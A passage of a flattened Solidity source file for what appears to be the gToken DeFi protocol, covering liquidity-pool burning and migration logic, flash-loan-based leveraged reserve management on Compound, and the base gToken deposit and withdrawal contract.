uint256 constant MIGRATION_INTERVAL = 7 days;
enum State { Created, Allocated, Migrating, Migrated }
struct Self {
address stakesToken;
address sharesToken;
State state;
address liquidityPool;
uint256 burningRate;
uint256 lastBurningTime;
address migrationRecipient;
uint256 migrationUnlockTime;
}
/**
* @dev Initializes the data structure. This method is exposed publicly.
* @param _stakesToken The ERC-20 token address to be used as stakes
* token (GRO).
* @param _sharesToken The ERC-20 token address to be used as shares
* token (gToken).
*/
function init(Self storage _self, address _stakesToken, address _sharesToken) public
{
_self.stakesToken = _stakesToken;
_self.sharesToken = _sharesToken;
_self.state = State.Created;
_self.liquidityPool = address(0);
_self.burningRate = DEFAULT_BURNING_RATE;
_self.lastBurningTime = 0;
_self.migrationRecipient = address(0);
_self.migrationUnlockTime = uint256(-1);
}
/**
* @dev Verifies whether or not a liquidity pool is migrating or
* has migrated. This method is exposed publicly.
* @return _hasMigrated A boolean indicating whether or not the pool
* migration has started.
*/
function hasMigrated(Self storage _self) public view returns (bool _hasMigrated)
{
return _self.state == State.Migrating || _self.state == State.Migrated;
}
/**
* @dev Moves the current balances (if any) of stakes and shares tokens
* to the liquidity pool. This method is exposed publicly.
*/
function gulpPoolAssets(Self storage _self) public
{
if (!_self._hasPool()) return;
G.joinPool(_self.liquidityPool, _self.stakesToken, G.getBalance(_self.stakesToken));
G.joinPool(_self.liquidityPool, _self.sharesToken, G.getBalance(_self.sharesToken));
}
/**
* @dev Sets the liquidity pool burning rate. This method is exposed
* publicly.
* @param _burningRate The percent value of the liquidity pool to be
* burned at each 7-day period.
*/
function setBurningRate(Self storage _self, uint256 _burningRate) public
{
require(_burningRate <= MAXIMUM_BURNING_RATE, "invalid rate");
_self.burningRate = _burningRate;
}
/**
* @dev Burns a portion of the liquidity pool according to the defined
* burning rate. It must happen at most once every 7-days. This
* method does not actually burn the funds, but it will redeem
* the amounts from the pool to the caller contract, which is then
* assumed to perform the burn. This method is exposed publicly.
* @return _stakesAmount The amount of stakes (GRO) redeemed from the pool.
* @return _sharesAmount The amount of shares (gToken) redeemed from the pool.
*/
function burnPoolPortion(Self storage _self) public returns (uint256 _stakesAmount, uint256 _sharesAmount)
{
require(_self._hasPool(), "pool not available");
require(now >= _self.lastBurningTime + BURNING_INTERVAL, "must wait lock interval");
_self.lastBurningTime = now;
return G.exitPool(_self.liquidityPool, _self.burningRate);
}
/**
* @dev Creates a fresh new liquidity pool and deposits the initial
* amounts of the stakes token and the shares token. The pool
* if configure 50%/50% with a 10% swap fee. This method is exposed
* publicly.
* @param _stakesAmount The amount of stakes token initially deposited
* into the pool.
* @param _sharesAmount The amount of shares token initially deposited
* into the pool.
*/
function allocatePool(Self storage _self, uint256 _stakesAmount, uint256 _sharesAmount) public
{
require(_self.state == State.Created, "pool cannot be allocated");
_self.state = State.Allocated;
_self.liquidityPool = G.createPool(_self.stakesToken, _stakesAmount, _self.sharesToken, _sharesAmount);
}
/**
* @dev Initiates the liquidity pool migration by setting a funds
* recipent and starting the clock towards the 7-day grace period.
* This method is exposed publicly.
* @param _migrationRecipient The recipient address to where funds will
* be transfered.
*/
function initiatePoolMigration(Self storage _self, address _migrationRecipient) public
{
require(_self.state == State.Allocated || _self.state == State.Migrated, "migration unavailable");
_self.state = State.Migrating;
_self.migrationRecipient = _migrationRecipient;
_self.migrationUnlockTime = now + MIGRATION_INTERVAL;
}
/**
* @dev Cancels the liquidity pool migration by reseting the procedure
* to its original state. This method is exposed publicly.
* @return _migrationRecipient The address of the former recipient.
*/
function cancelPoolMigration(Self storage _self) public returns (address _migrationRecipient)
{
require(_self.state == State.Migrating, "migration not initiated");
_migrationRecipient = _self.migrationRecipient;
_self.state = State.Allocated;
_self.migrationRecipient = address(0);
_self.migrationUnlockTime = uint256(-1);
return _migrationRecipient;
}
/**
* @dev Completes the liquidity pool migration by redeeming all funds
* from the pool. This method does not actually transfer the
* redemeed funds to the recipient, it assumes the caller contract
* will perform that. This method is exposed publicly.
* @return _migrationRecipient The address of the recipient.
* @return _stakesAmount The amount of stakes (GRO) redeemed from the pool.
* @return _sharesAmount The amount of shares (gToken) redeemed from the pool.
*/
function completePoolMigration(Self storage _self) public returns (address _migrationRecipient, uint256 _stakesAmount, uint256 _sharesAmount)
{
require(_self.state == State.Migrating, "migration not initiated");
require(now >= _self.migrationUnlockTime, "must wait lock interval");
_migrationRecipient = _self.migrationRecipient;
_self.state = State.Migrated;
_self.migrationRecipient = address(0);
_self.migrationUnlockTime = uint256(-1);
(_stakesAmount, _sharesAmount) = G.exitPool(_self.liquidityPool, 1e18);
return (_migrationRecipient, _stakesAmount, _sharesAmount);
}
/**
* @dev Verifies whether or not a liquidity pool has been allocated.
* @return _poolAvailable A boolean indicating whether or not the pool
* is available.
*/
function _hasPool(Self storage _self) internal view returns (bool _poolAvailable)
{
return _self.state != State.Created;
}
}
// File: contracts/GCLeveragedReserveManager.sol
pragma solidity ^0.6.0;
/**
* @dev This library implements data structure abstraction for the leveraged
* reserve management code in order to circuvent the EVM contract size limit.
* It is therefore a public library shared by all gToken Type 1 contracts and
* needs to be published alongside them. See GTokenType1.sol for further
* documentation.
*/
library GCLeveragedReserveManager
{
using SafeMath for uint256;
using GCLeveragedReserveManager for GCLeveragedReserveManager.Self;
uint256 constant MAXIMUM_COLLATERALIZATION_RATIO = 98e16; // 98% of 75% = 73.5%
uint256 constant DEFAULT_COLLATERALIZATION_RATIO = 94e16; // 94% of 75% = 70.5%
uint256 constant DEFAULT_COLLATERALIZATION_MARGIN = 2e16; // 2% of 75% = 1.5%
struct Self {
address reserveToken;
address underlyingToken;
address exchange;
address miningToken;
uint256 miningMinGulpAmount;
uint256 miningMaxGulpAmount;
uint256 collateralizationRatio;
uint256 collateralizationMargin;
}
/**
* @dev Initializes the data structure. This method is exposed publicly.
* @param _reserveToken The ERC-20 token address of the reserve token (cToken).
* @param _underlyingToken The ERC-20 token address of the underlying
* token that backs up the reserve token.
* @param _miningToken The ERC-20 token address to be collected from
* liquidity mining (COMP).
*/
function init(Self storage _self, address _reserveToken, address _underlyingToken, address _miningToken) public
{
_self.reserveToken = _reserveToken;
_self.underlyingToken = _underlyingToken;
_self.exchange = address(0);
_self.miningToken = _miningToken;
_self.miningMinGulpAmount = 0;
_self.miningMaxGulpAmount = 0;
_self.collateralizationRatio = DEFAULT_COLLATERALIZATION_RATIO;
_self.collateralizationMargin = DEFAULT_COLLATERALIZATION_MARGIN;
CompoundLendingMarketAbstraction._safeEnter(_reserveToken);
}
/**
* @dev Sets the contract address for asset conversion delegation.
* This library converts the miningToken into the underlyingToken
* and use the assets to back the reserveToken. See GExchange.sol
* for further documentation. This method is exposed publicly.
* @param _exchange The address of the contract that implements the
* GExchange interface.
*/
function setExchange(Self storage _self, address _exchange) public
{
_self.exchange = _exchange;
}
/**
* @dev Sets the range for converting liquidity mining assets. This
* method is exposed publicly.
* @param _miningMinGulpAmount The minimum amount, funds will only be
* converted once the minimum is accumulated.
* @param _miningMaxGulpAmount The maximum amount, funds beyond this
* limit will not be converted and are left
* for future rounds of conversion.
*/
function setMiningGulpRange(Self storage _self, uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount) public
{
require(_miningMinGulpAmount <= _miningMaxGulpAmount, "invalid range");
_self.miningMinGulpAmount = _miningMinGulpAmount;
_self.miningMaxGulpAmount = _miningMaxGulpAmount;
}
/**
* @dev Sets the collateralization ratio and margin. These values are
* percentual and relative to the maximum collateralization ratio
* provided by the underlying asset. This method is exposed publicly.
* @param _collateralizationRatio The target collateralization ratio,
* between lend and borrow, that the
* reserve will try to maintain.
* @param _collateralizationMargin The deviation from the target ratio
* that should be accepted.
*/
function setCollateralizationRatio(Self storage _self, uint256 _collateralizationRatio, uint256 _collateralizationMargin) public
{
require(_collateralizationMargin <= _collateralizationRatio && _collateralizationRatio.add(_collateralizationMargin) <= MAXIMUM_COLLATERALIZATION_RATIO, "invalid ratio");
_self.collateralizationRatio = _collateralizationRatio;
_self.collateralizationMargin = _collateralizationMargin;
}
/**
* @dev Performs the reserve adjustment actions leaving a liquidity room,
* if necessary. It will attempt to incorporate the liquidity mining
* assets into the reserve and adjust the collateralization
* targeting the configured ratio. This method is exposed publicly.
* @param _roomAmount The underlying token amount to be available after the
* operation. This is revelant for withdrawals, once the
* room amount is withdrawn the reserve should reflect
* the configured collateralization ratio.
* @return _success A boolean indicating whether or not both actions suceeded.
*/
function adjustReserve(Self storage _self, uint256 _roomAmount) public returns (bool _success)
{
bool success1 = _self._gulpMiningAssets();
bool success2 = _self._adjustLeverage(_roomAmount);
return success1 && success2;
}
/**
* @dev Calculates the collateralization ratio and range relative to the
* maximum collateralization ratio provided by the underlying asset.
* @return _collateralizationRatio The target absolute collateralization ratio.
* @return _minCollateralizationRatio The minimum absolute collateralization ratio.
* @return _maxCollateralizationRatio The maximum absolute collateralization ratio.
*/
function _calcCollateralizationRatio(Self storage _self) internal view returns (uint256 _collateralizationRatio, uint256 _minCollateralizationRatio, uint256 _maxCollateralizationRatio)
{
uint256 _collateralRatio = G.getCollateralRatio(_self.reserveToken);
_collateralizationRatio = _collateralRatio.mul(_self.collateralizationRatio).div(1e18);
_minCollateralizationRatio = _collateralRatio.mul(_self.collateralizationRatio.sub(_self.collateralizationMargin)).div(1e18);
_maxCollateralizationRatio = _collateralRatio.mul(_self.collateralizationRatio.add(_self.collateralizationMargin)).div(1e18);
return (_collateralizationRatio, _minCollateralizationRatio, _maxCollateralizationRatio);
}
/**
* @dev Incorporates the liquidity mining assets into the reserve. Assets
* are converted to the underlying asset and then added to the reserve.
* If the amount available is below the minimum, or if the exchange
* contract is not set, nothing is done. Otherwise the operation is
* performed, limited to the maximum amount. Note that this operation
* will incorporate to the reserve all the underlying token balance
* including funds sent to it or left over somehow.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _gulpMiningAssets(Self storage _self) internal returns (bool _success)
{
if (_self.exchange == address(0)) return true;
uint256 _miningAmount = G.getBalance(_self.miningToken);
if (_miningAmount == 0) return true;
if (_miningAmount < _self.miningMinGulpAmount) return true;
_self._convertMiningToUnderlying(G.min(_miningAmount, _self.miningMaxGulpAmount));
return G.lend(_self.reserveToken, G.getBalance(_self.underlyingToken));
}
/**
* @dev Adjusts the reserve to match the configured collateralization
* ratio. It calculates how much the collateralization must be
* increased or decreased and either: 1) lend/borrow, or
* 2) repay/redeem, respectivelly. The funds required to perform
* the operation are obtained via FlashLoan to avoid having to
* maneuver around margin when moving in/out of leverage.
* @param _roomAmount The amount of underlying token to be liquid after
* the operation.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _adjustLeverage(Self storage _self, uint256 _roomAmount) internal returns (bool _success)
{
// the reserve is the diference between lend and borrow
uint256 _lendAmount = G.fetchLendAmount(_self.reserveToken);
uint256 _borrowAmount = G.fetchBorrowAmount(_self.reserveToken);
uint256 _reserveAmount = _lendAmount.sub(_borrowAmount);
// caps the room in case it is larger than the reserve
_roomAmount = G.min(_roomAmount, _reserveAmount);
// The new reserve must deduct the room requested
uint256 _newReserveAmount = _reserveAmount.sub(_roomAmount);
// caculates the assumed lend amount deducting the requested room
uint256 _oldLendAmount = _lendAmount.sub(_roomAmount);
// the new lend amount is the new reserve with leverage applied
uint256 _newLendAmount;
uint256 _minNewLendAmount;
uint256 _maxNewLendAmount;
{
(uint256 _collateralizationRatio, uint256 _minCollateralizationRatio, uint256 _maxCollateralizationRatio) = _self._calcCollateralizationRatio();
_newLendAmount = _newReserveAmount.mul(1e18).div(uint256(1e18).sub(_collateralizationRatio));
_minNewLendAmount = _newReserveAmount.mul(1e18).div(uint256(1e18).sub(_minCollateralizationRatio));
_maxNewLendAmount = _newReserveAmount.mul(1e18).div(uint256(1e18).sub(_maxCollateralizationRatio));
}
// adjust the reserve by:
// 1- increasing collateralization by the difference
// 2- decreasing collateralization by the difference
// the adjustment is capped by the liquidity available on the market
uint256 _liquidityAmount = G.getFlashLoanLiquidity(_self.underlyingToken);
if (_minNewLendAmount > _oldLendAmount) {
{
uint256 _minAmount = _minNewLendAmount.sub(_oldLendAmount);
require(_liquidityAmount >= _minAmount, "cannot maintain collateralization ratio");
}
uint256 _amount = _newLendAmount.sub(_oldLendAmount);
return _self._dispatchFlashLoan(G.min(_amount, _liquidityAmount), 1);
}
if (_maxNewLendAmount < _oldLendAmount) {
{
uint256 _minAmount = _oldLendAmount.sub(_maxNewLendAmount);
require(_liquidityAmount >= _minAmount, "cannot maintain collateralization ratio");
}
uint256 _amount = _oldLendAmount.sub(_newLendAmount);
return _self._dispatchFlashLoan(G.min(_amount, _liquidityAmount), 2);
}
return true;
}
/**
* @dev This is the continuation of _adjustLeverage once funds are
* borrowed via the FlashLoan callback.
* @param _amount The borrowed amount as requested.
* @param _fee The additional fee that needs to be paid for the FlashLoan.
* @param _which A flag indicating whether the funds were borrowed to
* 1) increase or 2) decrease the collateralization ratio.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _continueAdjustLeverage(Self storage _self, uint256 _amount, uint256 _fee, uint256 _which) internal returns (bool _success)
{
// note that the reserve adjustment is not 100% accurate as we
// did not account for FlashLoan fees in the initial calculation
if (_which == 1) {
bool _success1 = G.lend(_self.reserveToken, _amount.sub(_fee));
bool _success2 = G.borrow(_self.reserveToken, _amount);
return _success1 && _success2;
}
if (_which == 2) {
bool _success1 = G.repay(_self.reserveToken, _amount);
bool _success2 = G.redeem(_self.reserveToken, _amount.add(_fee));
return _success1 && _success2;
}
assert(false);
}
/**
* @dev Abstracts the details of dispatching the FlashLoan by encoding
* the extra parameters.
* @param _amount The amount to be borrowed.
* @param _which A flag indicating whether the funds are borrowed to
* 1) increase or 2) decrease the collateralization ratio.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _dispatchFlashLoan(Self storage _self, uint256 _amount, uint256 _which) internal returns (bool _success)
{
return G.requestFlashLoan(_self.underlyingToken, _amount, abi.encode(_which));
}
/**
* @dev Abstracts the details of receiving a FlashLoan by decoding
* the extra parameters.
* @param _token The asset being borrowed.
* @param _amount The borrowed amount.
* @param _fee The fees to be paid along with the borrowed amount.
* @param _params Additional encoded parameters to be decoded.
* @return _success A boolean indicating whether or not the action succeeded.
*/
function _receiveFlashLoan(Self storage _self, address _token, uint256 _amount, uint256 _fee, bytes memory _params) external returns (bool _success)
{
assert(_token == _self.underlyingToken);
uint256 _which = abi.decode(_params, (uint256));
return _self._continueAdjustLeverage(_amount, _fee, _which);
}
/**
* @dev Converts a given amount of the mining token to the underlying
* token using the external exchange contract. Both amounts are
* deducted and credited, respectively, from the current contract.
* @param _inputAmount The amount to be converted.
*/
function _convertMiningToUnderlying(Self storage _self, uint256 _inputAmount) internal
{
G.dynamicConvertFunds(_self.exchange, _self.miningToken, _self.underlyingToken, _inputAmount, 0);
}
}
// File: contracts/GTokenBase.sol
pragma solidity ^0.6.0;
/**
* @notice This abstract contract provides the basis implementation for all
* gTokens. It extends the ERC20 functionality by implementing all
* the methods of the GToken interface. The gToken basic functionality
* comprises of a reserve, provided in the reserve token, and a supply
* of shares. Every time someone deposits into the contract some amount
* of reserve tokens it will receive a given amount of this gToken
* shares. Conversely, upon withdrawal, someone redeems their previously
* deposited assets by providing the associated amount of gToken shares.
* The nominal price of a gToken is given by the ratio between the
* reserve balance and the total supply of shares. Upon deposit and
* withdrawal of funds a 1% fee is applied and collected from shares.
* Half of it is immediately burned, which is equivalent to
* redistributing it to all gToken holders, and the other half is
* provided to a liquidity pool configured as a 50% GRO/50% gToken with
* a 10% swap fee. Every week a percentage of the liquidity pool is
* burned to account for the accumulated swap fees for that period.
* Finally, the gToken contract provides functionality to migrate the
* total amount of funds locked in the liquidity pool to an external
* address, this mechanism is provided to facilitate the upgrade of
* this gToken contract by future implementations. After migration has
* started the fee for deposits becomes 2% and the fee for withdrawals
* becomes 0%, in order to incentivise others to follow the migration.
*/
abstract contract GTokenBase is ERC20, Ownable, ReentrancyGuard, GToken
{
using GLiquidityPoolManager for GLiquidityPoolManager.Self;
uint256 constant DEPOSIT_FEE = 1e16; // 1%
uint256 constant WITHDRAWAL_FEE = 1e16; // 1%
uint256 constant DEPOSIT_FEE_AFTER_MIGRATION = 2e16; // 2%
uint256 constant WITHDRAWAL_FEE_AFTER_MIGRATION = 0e16; // 0%
address public immutable override stakesToken;
address public immutable override reserveToken;
GLiquidityPoolManager.Self lpm;
/**
* @dev Constructor for the gToken contract.
* @param _name The ERC-20 token name.
* @param _symbol The ERC-20 token symbol.
* @param _decimals The ERC-20 token decimals.
* @param _stakesToken The ERC-20 token address to be used as stakes
* token (GRO).
* @param _reserveToken The ERC-20 token address to be used as reserve
* token (e.g. cDAI for gcDAI).
*/
constructor (string memory _name, string memory _symbol, uint8 _decimals, address _stakesToken, address _reserveToken)
ERC20(_name, _symbol) public
{
_setupDecimals(_decimals);
stakesToken = _stakesToken;
reserveToken = _reserveToken;
lpm.init(_stakesToken, address(this));
}
/**
* @notice Allows for the beforehand calculation of shares to be
* received/minted upon depositing to the contract.
* @param _cost The amount of reserve token being deposited.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _depositFee The current deposit fee as obtained by depositFee().
* @return _netShares The net amount of shares being received.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) public pure override returns (uint256 _netShares, uint256 _feeShares)
{
return GFormulae._calcDepositSharesFromCost(_cost, _totalReserve, _totalSupply, _depositFee);
}
/**
* @notice Allows for the beforehand calculation of the amount of
* reserve token to be deposited in order to receive the desired
* amount of shares.
* @param _netShares The amount of this gToken shares to receive.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _depositFee The current deposit fee as obtained by depositFee().
* @return _cost The cost, in the reserve token, to be paid.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) public pure override returns (uint256 _cost, uint256 _feeShares)
{
return GFormulae._calcDepositCostFromShares(_netShares, _totalReserve, _totalSupply, _depositFee);
}
/**
* @notice Allows for the beforehand calculation of shares to be
* given/burned upon withdrawing from the contract.
* @param _cost The amount of reserve token being withdrawn.
* @param _totalReserve The reserve balance as obtained by totalReserve()
* @param _totalSupply The shares supply as obtained by totalSupply()
* @param _withdrawalFee The current withdrawal fee as obtained by withdrawalFee()
* @return _grossShares The total amount of shares being deducted,
* including fees.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcWithdrawalSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) public pure override returns (uint256 _grossShares, uint256 _feeShares)
{
return GFormulae._calcWithdrawalSharesFromCost(_cost, _totalReserve, _totalSupply, _withdrawalFee);
}
/**
* @notice Allows for the beforehand calculation of the amount of
* reserve token to be withdrawn given the desired amount of
* shares.
* @param _grossShares The amount of this gToken shares to provide.
* @param _totalReserve The reserve balance as obtained by totalReserve().
* @param _totalSupply The shares supply as obtained by totalSupply().
* @param _withdrawalFee The current withdrawal fee as obtained by withdrawalFee().
* @return _cost The cost, in the reserve token, to be received.
* @return _feeShares The fee amount of shares being deducted.
*/
function calcWithdrawalCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) public pure override returns (uint256 _cost, uint256 _feeShares)
{
return GFormulae._calcWithdrawalCostFromShares(_grossShares, _totalReserve, _totalSupply, _withdrawalFee);
}
/**
* @notice Provides the amount of reserve tokens currently being help by
* this contract.
* @return _totalReserve The amount of the reserve token corresponding
* to this contract's balance.
*/
function totalReserve() public view virtual override returns (uint256 _totalReserve)
{
return G.getBalance(reserveToken);
}
/**
* @notice Provides the current minting/deposit fee. This fee is
* applied to the amount of this gToken shares being created
* upon deposit. The fee defaults to 1% and is set to 2%
* after the liquidity pool has been migrated.
* @return _depositFee A percent value that accounts for the percentage
* of shares being minted at each deposit that be
* collected as fee.
*/
function depositFee() public view override returns (uint256 _depositFee) {
return lpm.hasMigrated() ? DEPOSIT_FEE_AFTER_MIGRATION : DEPOSIT_FEE;
}
/**
* @notice Provides the current burning/withdrawal fee. This fee is
* applied to the amount of this gToken shares being redeemed
* upon withdrawal. The fee defaults to 1% and is set to 0%
* after the liquidity pool is migrated.
* @return _withdrawalFee A percent value that accounts for the
* percentage of shares being burned at each
* withdrawal that be collected as fee.
*/
function withdrawalFee() public view override returns (uint256 _withdrawalFee) {
return lpm.hasMigrated() ? WITHDRAWAL_FEE_AFTER_MIGRATION : WITHDRAWAL_FEE;
}
/**
* @notice Provides the address of the liquidity pool contract.
* @return _liquidityPool An address identifying the liquidity pool.
*/
function liquidityPool() public view override returns (address _liquidityPool)
{
return lpm.liquidityPool;
}
/**
* @notice Provides the percentage of the liquidity pool to be burned.
* This amount should account approximately for the swap fees
* collected by the liquidity pool during a 7-day period.
* @return _burningRate A percent value that corresponds to the current
* amount of the liquidity pool to be burned at
* each 7-day cycle.
*/
function liquidityPoolBurningRate() public view override returns (uint256 _burningRate)
{
return lpm.burningRate;
}
/**
* @notice Marks when the last liquidity pool burn took place. There is
* a minimum 7-day grace period between consecutive burnings of
* the liquidity pool.
* @return _lastBurningTime A timestamp for when the liquidity pool
* burning took place for the last time.
*/
function liquidityPoolLastBurningTime() public view override returns (uint256 _lastBurningTime)
{
return lpm.lastBurningTime;
}
/**
* @notice Provides the address receiving the liquidity pool migration.
* @return _migrationRecipient An address to which funds will be sent
* upon liquidity pool migration completion.
*/
function liquidityPoolMigrationRecipient() public view override returns (address _migrationRecipient)
{
return lpm.migrationRecipient;
}
/**
* @notice Provides the timestamp for when the liquidity pool migration
* can be completed.
* @return _migrationUnlockTime A timestamp that defines the end of the
* 7-day grace period for liquidity pool
* migration.
*/
function liquidityPoolMigrationUnlockTime() public view override returns (uint256 _migrationUnlockTime)
{
return lpm.migrationUnlockTime;
}
/**
* @notice Performs the minting of gToken shares upon the deposit of the
* reserve token. The actual number of shares being minted can
* be calculated using the calcDepositSharesFromCost function.
* In every deposit, 1% of the shares is retained in terms of
* deposit fee. Half of it is immediately burned and the other
* half is provided to the locked liquidity pool. The funds
* will be pulled in by this contract, therefore they must be
* previously approved.
* @param _cost The amount of reserve token being deposited in the
* operation.
*/
function deposit(uint256 _cost) public override nonReentrant
{
address _from = msg.sender;
require(_cost > 0, "cost must be greater than 0");
(uint256 _netShares, uint256 _feeShares) = GFormulae._calcDepositSharesFromCost(_cost, totalReserve(), totalSupply(), depositFee());
require(_netShares > 0, "shares must be greater than 0");
G.pullFunds(reserveToken, _from, _cost);
require(_prepareDeposit(_cost), "not available at the moment");
_mint(_from, _netShares);
_mint(address(this), _feeShares.div(2));
lpm.gulpPoolAssets();
}
/**
* @notice Performs the burning of gToken shares upon the withdrawal of
* the reserve token. The actual amount of the reserve token to
* be received can be calculated using the
* calcWithdrawalCostFromShares function. In every withdrawal,
* 1% of the shares is retained in terms of withdrawal fee.
* Half of it is immediately burned and the other half is
* provided to the locked liquidity pool.
* @param _grossShares The gross amount of this gToken shares being
* redeemed in the operation.
*/
function withdraw(uint256 _grossShares) public override nonReentrant
{
address _from = msg.sender;
require(_grossShares > 0, "shares must be greater than 0");
(uint256 _cost, uint256 _feeShares) = GFormulae._calcWithdrawalCostFromShares(_grossShares, totalReserve(), totalSupply(), withdrawalFee());
require(_cost > 0, "cost must be greater than 0");
require(_prepareWithdrawal(_cost), "not available at the moment");
_cost = G.min(_cost, G.getBalance(reserveToken));
G.pushFunds(reserveToken, _from, _cost);
_burn(_from, _grossShares);
_mint(address(this), _feeShares.div(2));
lpm.gulpPoolAssets();
}
/**
* @notice Allocates a liquidity pool with the given amount of funds and
* locks it to this contract. This function should be called
* shortly after the contract is created to associated a newly
* created liquidity pool to it, which will collect fees
* associated with the minting and burning of this gToken shares.
* The liquidity pool will consist of a 50%/50% balance of the
* stakes token (GRO) and this gToken shares with a swap fee of
* 10%. The rate between the amount of the two assets deposited
* via this function defines the initial price. The minimum
* amount to be provided for each is 1,000,000 wei. The funds
* will be pulled in by this contract, therefore they must be
* previously approved. This is a priviledged function
* restricted to the contract owner.
* @param _stakesAmount The initial amount of stakes token.
* @param _sharesAmount The initial amount of this gToken shares.
*/
function allocateLiquidityPool(uint256 _stakesAmount, uint256 _sharesAmount) public override onlyOwner nonReentrant
{
address _from = msg.sender;
G.pullFunds(stakesToken, _from, _stakesAmount);
_transfer(_from, address(this), _sharesAmount);
lpm.allocatePool(_stakesAmount, _sharesAmount);
}
/**
* @notice Changes the percentual amount of the funds to be burned from
* the liquidity pool at each 7-day period. This is a
* priviledged function restricted to the contract owner.
* @param _burningRate The percentage of the liquidity pool to be burned.
*/
function setLiquidityPoolBurningRate(uint256 _burningRate) public override onlyOwner nonReentrant
{
lpm.setBurningRate(_burningRate);
}
/**
* @notice Burns part of the liquidity pool funds decreasing the supply
* of both the stakes token and this gToken shares.
* The amount to be burned is set via the function
* setLiquidityPoolBurningRate and defaults to 0.5%.
* After this function is called there must be a 7-day wait
* period before it can be called again.
* The purpose of this function is to burn the aproximate amount
* of fees collected from swaps that take place in the liquidity
* pool during the previous 7-day period. This function will
* emit a BurnLiquidityPoolPortion event upon success. This is
* a priviledged function restricted to the contract owner.
*/
function burnLiquidityPoolPortion() public override onlyOwner nonReentrant
{
(uint256 _stakesAmount, uint256 _sharesAmount) = lpm.burnPoolPortion();
_burnStakes(_stakesAmount);
_burn(address(this), _sharesAmount);
emit BurnLiquidityPoolPortion(_stakesAmount, _sharesAmount);
}
/**
* @notice Initiates the liquidity pool migration. It consists of
* setting the migration recipient address and starting a
* 7-day grace period. After the 7-day grace period the
* migration can be completed via the
* completeLiquidityPoolMigration fuction. Anytime before
* the migration is completed is can be cancelled via
* cancelLiquidityPoolMigration. This function will emit a
* InitiateLiquidityPoolMigration event upon success. This is
* a priviledged function restricted to the contract owner.
* @param _migrationRecipient The receiver of the liquidity pool funds.
*/
function initiateLiquidityPoolMigration(address _migrationRecipient) public override onlyOwner nonReentrant
{
lpm.initiatePoolMigration(_migrationRecipient);
emit InitiateLiquidityPoolMigration(_migrationRecipient);
}
/**
* @notice Cancels the liquidity pool migration if it has been already
* initiated. This will reset the state of the liquidity pool
* migration. This function will emit a
* CancelLiquidityPoolMigration event upon success. This is
* a priviledged function restricted to the contract owner.
*/
function cancelLiquidityPoolMigration() public override onlyOwner nonReentrant
{
address _migrationRecipient = lpm.cancelPoolMigration();
emit CancelLiquidityPoolMigration(_migrationRecipient);
}
/**
* @notice Completes the liquidity pool migration at least 7-days after
* it has been started. The migration consists of sendind the
* the full balance held in the liquidity pool, both in the
* stakes token and gToken shares, to the address set when
* the migration was initiated. This function will emit a
* CompleteLiquidityPoolMigration event upon success. This is
* a priviledged function restricted to the contract owner.
*/
function completeLiquidityPoolMigration() public override onlyOwner nonReentrant
{
(address _migrationRecipient, uint256 _stakesAmount, uint256 _sharesAmount) = lpm.completePoolMigration();
G.pushFunds(stakesToken, _migrationRecipient, _stakesAmount);
_transfer(address(this), _migrationRecipient, _sharesAmount);
emit CompleteLiquidityPoolMigration(_migrationRecipient, _stakesAmount, _sharesAmount);
}
/**
* @dev This abstract method must be implemented by subcontracts in
* order to adjust the underlying reserve after a deposit takes
* place. The actual implementation depends on the strategy and
* algorithm used to handle the reserve.
* @param _cost The amount of the reserve token being deposited.
*/
function _prepareDeposit(uint256 _cost) internal virtual returns (bool _success);
/**
* @dev This abstract method must be implemented by subcontracts in
* order to adjust the underlying reserve before a withdrawal takes
* place. The actual implementation depends on the strategy and
* algorithm used to handle the reserve.
* @param _cost The amount of the reserve token being withdrawn.
*/
function _prepareWithdrawal(uint256 _cost) internal virtual returns (bool _success);
/**
* @dev Burns the given amount of the stakes token. The default behavior
* of the function for general ERC-20 is to send the funds to
* address(0), but that can be overriden by a subcontract.
* @param _stakesAmount The amount of the stakes token being burned.
*/
function _burnStakes(uint256 _stakesAmount) internal virtual
{
G.pushFunds(stakesToken, address(0), _stakesAmount);
}
}
// File: contracts/GCTokenBase.sol
pragma solidity ^0.6.0;
/**
* @notice This abstract contract provides the basis implementation for all
* gcTokens, i.e. gTokens that use Compound cTokens as reserve, and
* implements the common functionality shared amongst them.
* In a nutshell, it extends the functinality of the GTokenBase contract
* to support operating directly using the cToken underlying asset.
* Therefore this contract provides functions that encapsulate minting
* and redeeming of cTokens internally, allowing users to interact with
* the contract providing funds directly in their underlying asset.
*/
abstract contract GCTokenBase is GTokenBase, GCToken
{
address public immutable override miningToken;
address public immutable override growthToken;
address public immutable override underlyingToken;
/**
* @dev Constructor for the gcToken contract.
* @param _name The ERC-20 token name.
* @param _symbol The ERC-20 token symbol.
* @param _decimals The ERC-20 token decimals.
* @param _stakesToken The ERC-20 token address to be used as stakes
* token (GRO).
* @param _reserveToken The ERC-20 token address to be used as reserve
* token (e.g. cDAI for gcDAI).
* @param _miningToken The ERC-20 token used for liquidity mining on
* compound (COMP).
* @param _growthToken The ERC-20 token address of the associated
* gcToken Type 1, for gcTokens Type 2, or address(0),
* if this contract is a gcToken Type 1.
*/
constructor (string memory _name, string memory _symbol, uint8 _decimals, address _stakesToken, address _reserveToken, address _miningToken, address _growthToken)
GTokenBase(_name, _symbol, _decimals, _stakesToken, _reserveToken) public
{
miningToken = _miningToken;
growthToken = _growthToken;
address _underlyingToken = G.getUnderlyingToken(_reserveToken);
underlyingToken = _underlyingToken;
}
/**
* @notice Allows for the beforehand calculation of the cToken amount
* given the amount of the underlying token and an exchange rate.
* @param _underlyingCost The cost in terms of the cToken underlying asset.
* @param _exchangeRate The given exchange rate as provided by exchangeRate().
* @return _cost The equivalent cost in terms of cToken
